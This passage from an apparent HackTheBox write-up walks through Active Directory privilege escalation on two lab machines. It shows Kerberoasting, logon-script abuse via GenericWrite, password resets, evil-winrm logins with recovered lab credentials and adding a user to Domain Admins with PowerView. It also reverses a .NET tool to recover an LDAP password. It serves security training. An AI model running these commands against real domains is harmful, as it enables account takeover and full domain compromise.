href="https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1" target="_blank" rel="noopener"&#10; &gt;https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\Invoke-Kerberoast.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-kerberoast -outputformat hashcat |fl&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;At the same time, I also tried &lt;code&gt;Rubeus.exe&lt;/code&gt;.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\Rubeus.exe kerberoast&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0695.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0696.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Both returned nothing. Could I really not obtain a TGS even after setting an SPN? I could not understand why. I went back to the write-up. Only one of them was genuinely good: its reasoning was clear and there was a lot to learn from it. It pointed out that if an arbitrarily assigned SPN is not accepted, the SPN needs to have a valid format.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://learn.microsoft.com/en-us/windows/win32/ad/name-formats-for-unique-spns" target="_blank" rel="noopener"&#10; &gt;https://learn.microsoft.com/en-us/windows/win32/ad/name-formats-for-unique-spns&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -a MSSQLSvc/object.local:1433 object.local\maria&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0697.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I still could not obtain it, even though I was already &lt;code&gt;smith&lt;/code&gt;. The next hint explained that, despite being logged in as &lt;code&gt;smith&lt;/code&gt;, I still had to pass credentials here or access would fail. The credentials I had not needed earlier finally came into play.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$SecPassword = ConvertTo-SecureString &amp;#39;Password123!&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$Cred = New-Object System.Management.Automation.PSCredential(&amp;#39;object.htb\smith&amp;#39;, $SecPassword)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainSPNTicket -SPN &amp;#34;MSSQLSvc/object.local:1433&amp;#34; -Credential $Cred&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0698.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success. However, the next hint said this password could not be cracked even with &lt;code&gt;rockyou&lt;/code&gt;, so I left it alone. At least I learned a new method and will be able to react much faster the next time I encounter this situation. Starting the research from scratch in the middle of an engagement would be far too slow.&lt;/p&gt;&#10;&lt;p&gt;GenericWrite can also be used to change the target&amp;rsquo;s password. It did not work here, but I am recording it anyway.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$newpass = ConvertTo-SecureString &amp;#39;Password123!&amp;#39; -AsPlainText -Force&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainUserPassword -Identity maria -AccountPassword $newpass&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Next came the hardest part, and the part where I did not quite understand why the box was designed this way. Without reading the write-up, I never would have thought of it. Whoever solved this first was incredible.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;maria&lt;/code&gt; had an automatic logon script and apparently kept logging in, logging out, and logging back in. That meant I could assign her a logon script, which would execute every time she logged in. This is not unique to GenericWrite, either. Modifying a user&amp;rsquo;s &lt;code&gt;scriptpath&lt;/code&gt; attribute requires any one of the following permissions:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericWrite&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericAll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteDacl&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteOwner&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteProperty&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;In other words, whenever I encounter one of these permissions in the future, I can try writing a logon script. That was another new technique learned. In a future environment, for example, I could write a reverse-shell script, and it would immediately call back as soon as the user logged in. That would not work here, of course, because all outbound traffic was down.&lt;/p&gt;&#10;&lt;p&gt;Instead, I could build a script that listed the home directory and wrote the output to a directory accessible by both the current user, &lt;code&gt;smith&lt;/code&gt;, and &lt;code&gt;maria&lt;/code&gt;.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;ls \users\maria\ &amp;gt; \programdata\out&amp;#34; &amp;gt; C:\\programdata\\cmd.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainObject -Identity maria -SET @{scriptpath=&amp;#34;C:\\programdata\\cmd.ps1&amp;#34;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0699.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While browsing the directories, I found &lt;code&gt;Engines.xls&lt;/code&gt;.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;copy \users\maria\desktop\Engines.xls \programdata\&amp;#34; &amp;gt; cmd.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;download Engines.xls&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0700.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It contained several passwords. I could simply try them one by one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm object.htb -u maria -p password.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0701.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i 10.10.11.132 -u maria -p &amp;#39;W3llcr4ft3d_4cls&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0702.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I imported &lt;code&gt;PowerView.ps1&lt;/code&gt;, made &lt;code&gt;maria&lt;/code&gt; the owner of Domain Admins, and then added her to the group.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;. .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Both commands below work&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainObjectOwner -Identity &amp;#39;Domain Admins&amp;#39; -OwnerIdentity &amp;#39;maria&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainObjectAcl -TargetIdentity &amp;#34;Domain Admins&amp;#34; -PrincipalIdentity maria -Rights All&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainGroupMember -Identity &amp;#39;Domain Admins&amp;#39; -Members &amp;#39;maria&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;After changing the ACL, I had to log in again for it to take effect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0703.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box was incredibly difficult. I still wanted to verify one thing: as &lt;code&gt;smith&lt;/code&gt;, I could assign a logon script to &lt;code&gt;maria&lt;/code&gt;. I already knew &lt;code&gt;maria&lt;/code&gt; could add herself to Domain Admins and then grant someone else administrator privileges. If I put that entire chain into the logon script, would that mean I did not need to know &lt;code&gt;maria&lt;/code&gt;&amp;rsquo;s password at all?&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#39;. C:\programdata\PowerView.ps1; Add-DomainObjectAcl -TargetIdentity &amp;#34;Domain Admins&amp;#34; -PrincipalIdentity maria -Rights All; Add-DomainGroupMember -Identity &amp;#34;Domain Admins&amp;#34; -Members &amp;#34;smith&amp;#34;&amp;#39; &amp;gt; C:\programdata\cmd.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0704.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It worked perfectly. Maybe the original author intended this route too, but then realized it would be far too difficult because there was no certainty that each command would execute successfully.&lt;/p&gt;&#10;&lt;h2 id="22support"&gt;&lt;a href="#22support" class="header-anchor"&gt;&lt;/a&gt;22.Support&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0705.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0706.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no web service, so I started with SMB, then moved on to RPC and LDAP.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0707.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Anonymous access was enabled. After connecting, I found several files and searched for them one by one. It looked like a software repository. The main point was that if the software existed online, it probably would not be useful; if it was custom-made, though, it could be valuable.&lt;/p&gt;&#10;&lt;p&gt;UserInfo.exe.zip was the only one I could not find online. Everything else was a tool that could be used offensively.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0708.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started another VM. I could have run it directly on my physical machine, but there was far too much traffic when I captured packets there, and it was a mess. So I decided to capture it inside the VM and see what the program actually did.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0709.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Got it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0710.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It requested a domain over LDAP, so I added the domain to my hosts file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0711.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;You can see that it sent the request and resolved the internal IP, but it got stuck because the address was unreachable.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0712.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It still failed. In Wireshark, I could see my VM constantly sending requests to the Wi-Fi gateway while also trying the VPN address, but for some reason the packets were not getting through.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0713.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0714.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For some reason, following the stream produced nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0715.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was unreachable. I later discovered that switching VPNs had caused the problem; reconnecting the VPN fixed it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0716.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Users\peter\Desktop\UserInfo.exe&amp;gt; .\UserInfo.exe find -first *&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;raven.clifton&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;anderson.damian&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;monroe.david&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cromwell.gerard&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;west.laura&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;levine.leopoldo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;langley.lucy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;daughtler.mabel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bardot.mary&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;stoll.rachelle&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;thomas.raphael&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smith.rosario&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wilson.shelby&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hernandez.stanley&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ford.victoria&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That gave me a pile of usernames. I still was not entirely sure how it obtained them. I had only seen an LDAP request earlier, so they were probably returned by an LDAP query. Everything after that was encrypted by the VPN, and I could not decrypt it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0717.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0718.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I passed one of the usernames I had found to the user parameter and finally got a response.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0719.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, this was LDAP. I got stuck here. If it could connect automatically, I could not figure out how from IDA; that was a bit beyond me. I did learn about a new decompiler here, though, and it seemed friendlier. File inspection showed that UserInfo.exe was a .NET program, meaning it was written in C#, so I could use the decompiler below.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/dnSpy/dnSpy/releases" target="_blank" rel="noopener"&#10; &gt;https://github.com/dnSpy/dnSpy/releases&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0720.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0721.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it. There were two approaches. One was static debugging: set a breakpoint, or take the encrypted value and find a way to decrypt it. But I could not read C#, did not know how it performed the encryption, and the exam did not allow me to ask AI. There was no way I could learn it on the spot. Even though I could not really read the language, the program logic was similar enough; only the syntax and functions differed. Still, I ruled out manual decryption here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0722.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The username was right there and was literally called ldap. I was not sure whether the quotation mark was part of the password, but I could test that shortly.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldap:&amp;#34;nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The other option was dynamic analysis. The application did not encrypt the packets itself; what I had seen as encrypted traffic in Wireshark was OpenVPN encryption, which was why I could not inspect the actual contents. If I pointed the LDAP server at my own machine, however, the traffic would not pass through the VPN and I would receive everything in plaintext. This was actually what I had planned to do from the beginning because moving my VPN setup around was a pain, but I kept hitting an error that I had not solved. Time to fix it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.dedoimedo.com/computers/wine-dotnet-mono.html" target="_blank" rel="noopener"&#10; &gt;https://www.dedoimedo.com/computers/wine-dotnet-mono.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://askubuntu.com/questions/644236/mono-does-not-appear-to-be-installed-error-winetricks" target="_blank" 